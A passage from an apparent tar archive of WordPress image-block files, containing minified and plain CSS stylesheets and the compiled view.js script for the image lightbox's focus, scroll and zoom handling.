.reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__aspect-ratio{align-items:center;display:flex;height:46px;margin-bottom:-8px}.wp-block-image__aspect-ratio .components-button{padding-left:0;padding-right:0;width:36px}blocks/image/style-rtl.min.css000064400000015515151202620300012334 0ustar00.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color){border-style:solid}.wp-block-image :where([style*=border-top-color]){border-top-style:solid}.wp-block-image :where([style*=border-right-color]){border-left-style:solid}.wp-block-image :where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-color]){border-right-style:solid}.wp-block-image :where([style*=border-width]){border-style:solid}.wp-block-image :where([style*=border-top-width]){border-top-style:solid}.wp-block-image :where([style*=border-right-width]){border-left-style:solid}.wp-block-image :where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-width]){border-right-style:solid}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:rgba(90,90,90,.25);border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;transition:opacity .2s ease;width:20px;z-index:100}.wp-lightbox-container button:focus-visible{outline:3px auto rgba(90,90,90,.25);outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:rgba(90,90,90,.25);border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100vw;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);min-height:40px;min-width:40px;padding:0;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both;visibility:visible}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.hideanimationenabled:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.hideanimationenabled:not(.active) img{animation:turn-off-visibility .25s both}@media (prefers-reduced-motion:no-preference){.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active){animation:none}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-50vw + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-50vw + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}blocks/image/theme.css000064400000000302151202620300010701 0ustar00.wp-block-image figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-image figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-image{ margin:0 0 1em; }blocks/image/theme-rtl.min.css000064400000000252151202620300012266 0ustar00.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-image{margin:0 0 1em}blocks/image/editor.css000064400000005762151202620300011104 0ustar00.wp-block-image.wp-block-image.is-selected .components-placeholder{ background-color:#fff; border:none; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; color:#1e1e1e; filter:none !important; } .wp-block-image.wp-block-image.is-selected .components-placeholder>svg{ opacity:0; } .wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{ display:none; } .wp-block-image.wp-block-image.is-selected .components-placeholder:before{ opacity:0; } .wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{ transition:none; } figure.wp-block-image:not(.wp-block){ margin:0; } .wp-block-image{ position:relative; } .wp-block-image .is-applying img,.wp-block-image.is-transient img{ opacity:.3; } .wp-block-image figcaption img{ display:inline; } .wp-block-image .components-spinner{ left:50%; position:absolute; top:50%; transform:translate(-50%, -50%); } .wp-block-image .components-resizable-box__container{ display:table; } .wp-block-image .components-resizable-box__container img{ display:block; height:inherit; width:inherit; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ left:0; margin:-1px 0; position:absolute; right:0; } @media (min-width:600px){ .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ margin:-1px; } } [data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{ height:auto; width:100%; } .wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{ display:table; } .wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{ caption-side:bottom; display:table-caption; } .wp-block[data-align=left]>.wp-block-image{ margin:.5em 1em .5em 0; } .wp-block[data-align=right]>.wp-block-image{ margin:.5em 0 .5em 1em; } .wp-block[data-align=center]>.wp-block-image{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block-image__crop-area{ max-width:100%; overflow:hidden; position:relative; width:100%; } .wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{ border:none; border-radius:0; } .wp-block-image__crop-icon{ align-items:center; display:flex; justify-content:center; min-width:48px; padding:0 8px; } .wp-block-image__crop-icon svg{ fill:currentColor; } .wp-block-image__zoom .components-popover__content{ min-width:260px; overflow:visible !important; } .wp-block-image__aspect-ratio{ align-items:center; display:flex; height:46px; margin-bottom:-8px; } .wp-block-image__aspect-ratio .components-button{ padding-left:0; padding-right:0; width:36px; }blocks/image/view.min.asset.php000064400000000124151202620300012452 0ustar00 array(), 'version' => '32caaf5e7c6834efef4c'); blocks/image/view.js000064400000050473151202620300010413 0ustar00"use strict"; (self["__WordPressPrivateInteractivityAPI__"] = self["__WordPressPrivateInteractivityAPI__"] || []).push([[354],{ /***/ 699: /***/ (function(__unused_webpack_module, __unused_webpack___webpack_exports__, __webpack_require__) { /* harmony import */ var _wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(754); /** * WordPress dependencies */ const focusableSelectors = ['a[href]', 'area[href]', 'input:not([disabled]):not([type="hidden"]):not([aria-hidden])', 'select:not([disabled]):not([aria-hidden])', 'textarea:not([disabled]):not([aria-hidden])', 'button:not([disabled]):not([aria-hidden])', 'iframe', 'object', 'embed', '[contenteditable]', '[tabindex]:not([tabindex^="-"])']; /* * Stores a context-bound scroll handler. * * This callback could be defined inline inside of the store * object but it's created externally to avoid confusion about * how its logic is called. This logic is not referenced directly * by the directives in the markup because the scroll event we * need to listen to is triggered on the window; so by defining it * outside of the store, we signal that the behavior here is different. * If we find a compelling reason to move it to the store, feel free. * * @type {Function} */ let scrollCallback; /* * Tracks whether user is touching screen; used to * differentiate behavior for touch and mouse input. * * @type {boolean} */ let isTouching = false; /* * Tracks the last time the screen was touched; used to * differentiate behavior for touch and mouse input. * * @type {number} */ let lastTouchTime = 0; /* * Lightbox page-scroll handler: prevents scrolling. * * This handler is added to prevent scrolling behaviors that * trigger content shift while the lightbox is open. * * It would be better to accomplish this through CSS alone, but * using overflow: hidden is currently the only way to do so, and * that causes the layout to shift and prevents the zoom animation * from working in some cases because we're unable to account for * the layout shift when doing the animation calculations. Instead, * here we use JavaScript to prevent and reset the scrolling * behavior. In the future, we may be able to use CSS or overflow: hidden * instead to not rely on JavaScript, but this seems to be the best approach * for now that provides the best visual experience. * * @param {Object} context Interactivity page context? */ function handleScroll(context) { // We can't override the scroll behavior on mobile devices // because doing so breaks the pinch to zoom functionality, and we // want to allow users to zoom in further on the high-res image. if (!isTouching && Date.now() - lastTouchTime > 450) { // We are unable to use event.preventDefault() to prevent scrolling // because the scroll event can't be canceled, so we reset the position instead. window.scrollTo(context.core.image.scrollLeftReset, context.core.image.scrollTopReset); } } (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .store */ .h)({ state: { core: { image: { windowWidth: window.innerWidth, windowHeight: window.innerHeight } } }, actions: { core: { image: { showLightbox: ({ context, event }) => { // We can't initialize the lightbox until the reference // image is loaded, otherwise the UX is broken. if (!context.core.image.imageLoaded) { return; } context.core.image.initialized = true; context.core.image.lastFocusedElement = window.document.activeElement; context.core.image.scrollDelta = 0; context.core.image.pointerType = event.pointerType; context.core.image.lightboxEnabled = true; setStyles(context, context.core.image.imageRef); context.core.image.scrollTopReset = window.pageYOffset || document.documentElement.scrollTop; // In most cases, this value will be 0, but this is included // in case a user has created a page with horizontal scrolling. context.core.image.scrollLeftReset = window.pageXOffset || document.documentElement.scrollLeft; // We define and bind the scroll callback here so // that we can pass the context and as an argument. // We may be able to change this in the future if we // define the scroll callback in the store instead, but // this approach seems to tbe clearest for now. scrollCallback = handleScroll.bind(null, context); // We need to add a scroll event listener to the window // here because we are unable to otherwise access it via // the Interactivity API directives. If we add a native way // to access the window, we can remove this. window.addEventListener('scroll', scrollCallback, false); }, hideLightbox: async ({ context }) => { context.core.image.hideAnimationEnabled = true; if (context.core.image.lightboxEnabled) { // We want to wait until the close animation is completed // before allowing a user to scroll again. The duration of this // animation is defined in the styles.scss and depends on if the // animation is 'zoom' or 'fade', but in any case we should wait // a few milliseconds longer than the duration, otherwise a user // may scroll too soon and cause the animation to look sloppy. setTimeout(function () { window.removeEventListener('scroll', scrollCallback); // If we don't delay before changing the focus, // the focus ring will appear on Firefox before // the image has finished animating, which looks broken. context.core.image.lightboxTriggerRef.focus({ preventScroll: true }); }, 450); context.core.image.lightboxEnabled = false; } }, handleKeydown: ({ context, actions, event }) => { if (context.core.image.lightboxEnabled) { if (event.key === 'Tab' || event.keyCode === 9) { // If shift + tab it change the direction if (event.shiftKey && window.document.activeElement === context.core.image.firstFocusableElement) { event.preventDefault(); context.core.image.lastFocusableElement.focus(); } else if (!event.shiftKey && window.document.activeElement === context.core.image.lastFocusableElement) { event.preventDefault(); context.core.image.firstFocusableElement.focus(); } } if (event.key === 'Escape' || event.keyCode === 27) { actions.core.image.hideLightbox({ context, event }); } } }, // This is fired just by lazily loaded // images on the page, not all images. handleLoad: ({ context, effects, ref }) => { context.core.image.imageLoaded = true; context.core.image.imageCurrentSrc = ref.currentSrc; effects.core.image.setButtonStyles({ context, ref }); }, handleTouchStart: () => { isTouching = true; }, handleTouchMove: ({ context, event }) => { // On mobile devices, we want to prevent triggering the // scroll event because otherwise the page jumps around as // we reset the scroll position. This also means that closing // the lightbox requires that a user perform a simple tap. This // may be changed in the future if we find a better alternative // to override or reset the scroll position during swipe actions. if (context.core.image.lightboxEnabled) { event.preventDefault(); } }, handleTouchEnd: () => { // We need to wait a few milliseconds before resetting // to ensure that pinch to zoom works consistently // on mobile devices when the lightbox is open. lastTouchTime = Date.now(); isTouching = false; } } } }, selectors: { core: { image: { roleAttribute: ({ context }) => { return context.core.image.lightboxEnabled ? 'dialog' : null; }, ariaModal: ({ context }) => { return context.core.image.lightboxEnabled ? 'true' : null; }, dialogLabel: ({ context }) => { return context.core.image.lightboxEnabled ? context.core.image.dialogLabel : null; }, lightboxObjectFit: ({ context }) => { if (context.core.image.initialized) { return 'cover'; } }, enlargedImgSrc: ({ context }) => { return context.core.image.initialized ? context.core.image.imageUploadedSrc : 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='; } } } }, effects: { core: { image: { initOriginImage: ({ context, ref }) => { context.core.image.imageRef = ref; context.core.image.lightboxTriggerRef = ref.parentElement.querySelector('.lightbox-trigger'); if (ref.complete) { context.core.image.imageLoaded = true; context.core.image.imageCurrentSrc = ref.currentSrc; } }, initLightbox: async ({ context, ref }) => { if (context.core.image.lightboxEnabled) { const focusableElements = ref.querySelectorAll(focusableSelectors); context.core.image.firstFocusableElement = focusableElements[0]; context.core.image.lastFocusableElement = focusableElements[focusableElements.length - 1]; // Move focus to the dialog when opening it. ref.focus(); } }, setButtonStyles: ({ context, ref }) => { const { naturalWidth, naturalHeight, offsetWidth, offsetHeight } = ref; // If the image isn't loaded yet, we can't // calculate where the button should be. if (naturalWidth === 0 || naturalHeight === 0) { return; } const figure = ref.parentElement; const figureWidth = ref.parentElement.clientWidth; // We need special handling for the height because // a caption will cause the figure to be taller than // the image, which means we need to account for that // when calculating the placement of the button in the // top right corner of the image. let figureHeight = ref.parentElement.clientHeight; const caption = figure.querySelector('figcaption'); if (caption) { const captionComputedStyle = window.getComputedStyle(caption); figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom); } const buttonOffsetTop = figureHeight - offsetHeight; const buttonOffsetRight = figureWidth - offsetWidth; // In the case of an image with object-fit: contain, the // size of the element can be larger than the image itself, // so we need to calculate where to place the button. if (context.core.image.scaleAttr === 'contain') { // Natural ratio of the image. const naturalRatio = naturalWidth / naturalHeight; // Offset ratio of the image. const offsetRatio = offsetWidth / offsetHeight; if (naturalRatio >= offsetRatio) { // If it reaches the width first, keep // the width and compute the height. const referenceHeight = offsetWidth / naturalRatio; context.core.image.imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16; context.core.image.imageButtonRight = buttonOffsetRight + 16; } else { // If it reaches the height first, keep // the height and compute the width. const referenceWidth = offsetHeight * naturalRatio; context.core.image.imageButtonTop = buttonOffsetTop + 16; context.core.image.imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16; } } else { context.core.image.imageButtonTop = buttonOffsetTop + 16; context.core.image.imageButtonRight = buttonOffsetRight + 16; } }, setStylesOnResize: ({ state, context, ref }) => { if (context.core.image.lightboxEnabled && (state.core.image.windowWidth || state.core.image.windowHeight)) { setStyles(context, ref); } } } } } }, { afterLoad: ({ state }) => { window.addEventListener('resize', debounce(() => { state.core.image.windowWidth = window.innerWidth; state.core.image.windowHeight = window.innerHeight; })); } }); /* * Computes styles for the lightbox and adds them to the document. * * @function * @param {Object} context - An Interactivity API context * @param {Object} event - A triggering event */ function setStyles(context, ref) { // The reference img element lies adjacent // to the event target button in the DOM. let { naturalWidth, naturalHeight, offsetWidth: originalWidth, offsetHeight: originalHeight } = ref; let { x: screenPosX, y: screenPosY } = ref.getBoundingClientRect(); // Natural ratio of the image clicked to open the lightbox. const naturalRatio = naturalWidth / naturalHeight; // Original ratio of the image clicked to open the lightbox. let originalRatio = originalWidth / originalHeight; // If it has object-fit: contain, recalculate the original sizes // and the screen position without the blank spaces. if (context.core.image.scaleAttr === 'contain') { if (naturalRatio > originalRatio) { const heightWithoutSpace = originalWidth / naturalRatio; // Recalculate screen position without the top space. screenPosY += (originalHeight - heightWithoutSpace) / 2; originalHeight = heightWithoutSpace; } else { const widthWithoutSpace = originalHeight * naturalRatio; // Recalculate screen position without the left space. screenPosX += (originalWidth - widthWithoutSpace) / 2; originalWidth = widthWithoutSpace; } } originalRatio = originalWidth / originalHeight; // Typically, we use the image's full-sized dimensions. If those // dimensions have not been set (i.e. an external image with only one size), // the image's dimensions in the lightbox are the same // as those of the image in the content. let imgMaxWidth = parseFloat(context.core.image.targetWidth !== 'none' ? context.core.image.targetWidth : naturalWidth); let imgMaxHeight = parseFloat(context.core.image.targetHeight !== 'none' ? context.core.image.targetHeight : naturalHeight); // Ratio of the biggest image stored in the database. let imgRatio = imgMaxWidth / imgMaxHeight; let containerMaxWidth = imgMaxWidth; let containerMaxHeight = imgMaxHeight; let containerWidth = imgMaxWidth; let containerHeight = imgMaxHeight; // Check if the target image has a different ratio than the original one (thumbnail). // Recalculate the width and height. if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) { if (naturalRatio > imgRatio) { // If the width is reached before the height, we keep the maxWidth // and recalculate the height. // Unless the difference between the maxHeight and the reducedHeight // is higher than the maxWidth, where we keep the reducedHeight and // recalculate the width. const reducedHeight = imgMaxWidth / naturalRatio; if (imgMaxHeight - reducedHeight > imgMaxWidth) { imgMaxHeight = reducedHeight; imgMaxWidth = reducedHeight * naturalRatio; } else { imgMaxHeight = imgMaxWidth / naturalRatio; } } else { // If the height is reached before the width, we keep the maxHeight // and recalculate the width. // Unless the difference between the maxWidth and the reducedWidth // is higher than the maxHeight, where we keep the reducedWidth and // recalculate the height. const reducedWidth = imgMaxHeight * naturalRatio; if (imgMaxWidth - reducedWidth > imgMaxHeight) { imgMaxWidth = reducedWidth; imgMaxHeight = reducedWidth / naturalRatio; } else { imgMaxWidth = imgMaxHeight * naturalRatio; } } containerWidth = imgMaxWidth; containerHeight = imgMaxHeight; imgRatio = imgMaxWidth / imgMaxHeight; // Calculate the max size of the container. if (originalRatio > imgRatio) { containerMaxWidth = imgMaxWidth; containerMaxHeight = containerMaxWidth / originalRatio; } else { containerMaxHeight = imgMaxHeight; containerMaxWidth = containerMaxHeight * originalRatio; } } // If the image has been pixelated on purpose, keep that size. if (originalWidth > containerWidth || originalHeight > containerHeight) { containerWidth = originalWidth; containerHeight = originalHeight; } // Calculate the final lightbox image size and the // scale factor. MaxWidth is either the window container // (accounting for padding) or the image resolution. let horizontalPadding = 0; if (window.innerWidth > 480) { horizontalPadding = 80; } else if (window.innerWidth > 1920) { horizontalPadding = 160; } const verticalPadding = 80; const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth); const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight); const targetContainerRatio = targetMaxWidth / targetMaxHeight; if (originalRatio > targetContainerRatio) { // If targetMaxWidth is reached before targetMaxHeight containerWidth = targetMaxWidth; containerHeight = containerWidth / originalRatio; } else { // If targetMaxHeight is reached before targetMaxWidth containerHeight = targetMaxHeight; containerWidth = containerHeight * originalRatio; } const containerScale = originalWidth / containerWidth; const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth); const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight); // Add the CSS variables needed. let styleTag = document.getElementById('wp-lightbox-styles'); if (!styleTag) { styleTag = document.createElement('style'); styleTag.id = 'wp-lightbox-styles'; document.head.appendChild(styleTag); } // As of this writing, using the calculations above will render the lightbox // with a small, erroneous whitespace on the left side of the image in iOS Safari, // perhaps due to an inconsistency in how browsers handle absolute positioning and CSS // transformation. In any case, adding 1 pixel to the container width and height solves // the problem, though this can be removed if the issue is fixed in the future. styleTag.innerHTML = ` :root { --wp--lightbox-initial-top-position: ${screenPosY}px; --wp--lightbox-initial-left-position: ${screenPosX}px; --wp--lightbox-container-width: ${containerWidth + 1}px; --wp--lightbox-container-height: ${containerHeight + 1}px; --wp--lightbox-image-width: ${lightboxImgWidth}px; --wp--lightbox-image-height: ${lightboxImgHeight}px; --wp--lightbox-scale: ${containerScale}; } `; } /* * Debounces a function call. * * @function * @param {Function} func - A function to be called * @param {number} wait - The time to wait before calling the function */ function debounce(func, wait = 50) { let timeout; return () => { const later = () => { timeout = null; func(); }; clearTimeout(timeout); timeout = setTimeout(later, wait); }; } /***/ }) }, /******/ function(__webpack_require__) { // webpackRuntimeModules /******/ var __webpack_exec__ = function(moduleId) { return __webpack_require__(__webpack_require__.s = moduleId); } /******/ var __webpack_exports__ = (__webpack_exec__(699)); /******/ } ]);blocks/image/theme.min.css000064400000000252151202620300011467 0ustar00.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-image{margin:0 0 1em}blocks/image/style.min.css000064400000015503151202620300011532 0ustar00.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color){border-style:solid}.wp-block-image :where([style*=border-top-color]){border-top-style:solid}.wp-block-image :where([style*=border-right-color]){border-right-style:solid}.wp-block-image :where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-color]){border-left-style:solid}.wp-block-image :where([style*=border-width]){border-style:solid}.wp-block-image :where([style*=border-top-width]){border-top-style:solid}.wp-block-image :where([style*=border-right-width]){border-right-style:solid}.wp-block-image :where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-width]){border-left-style:solid}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:rgba(90,90,90,.25);border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;transition:opacity .2s ease;width:20px;z-index:100}.wp-lightbox-container button:focus-visible{outline:3px auto rgba(90,90,90,.25);outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:rgba(90,90,90,.25);border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100vw;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both;visibility:visible}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.hideanimationenabled:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.hideanimationenabled:not(.active) img{animation:turn-off-visibility .25s both}@media (prefers-reduced-motion:no-preference){.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active){animation:none}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(-50vw + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(-50vw + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}blocks/image/theme-rtl.css000064400000000302151202620300011500 0ustar00.wp-block-image figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-image figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-image{ 